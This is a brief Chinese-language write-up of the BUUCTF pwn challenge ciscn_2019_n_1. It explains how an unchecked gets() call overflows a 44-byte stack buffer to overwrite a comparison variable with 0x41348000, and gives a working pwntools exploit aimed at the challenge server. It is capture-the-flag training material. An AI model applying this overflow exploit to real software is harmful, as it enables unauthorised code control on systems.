buuctf pwn04 ciscn_2019_n_1 1
1.checksec
2.ida后进入main函数发现可疑函数func(),点进去查看
v1定义为44个字节,gets(v1)存在栈溢出,可以利用
如果 v2 等于 11.28125 就可以拿到flag
v1在rbp-30h的位置,v2在rbp-4h的位置,溢出以后我们就可以用自己的数据覆盖v2。
11.28125在内存中的16进制表示为0x41348000
故exp如下:
from pwn import*
p=remote('node4.buuoj.cn',29055)
payload=b'a'*44+p64(0x41348000)
p.sendlineafter("Let's guess the number.",payload)
p.interactive()
运行脚本如下,得到flag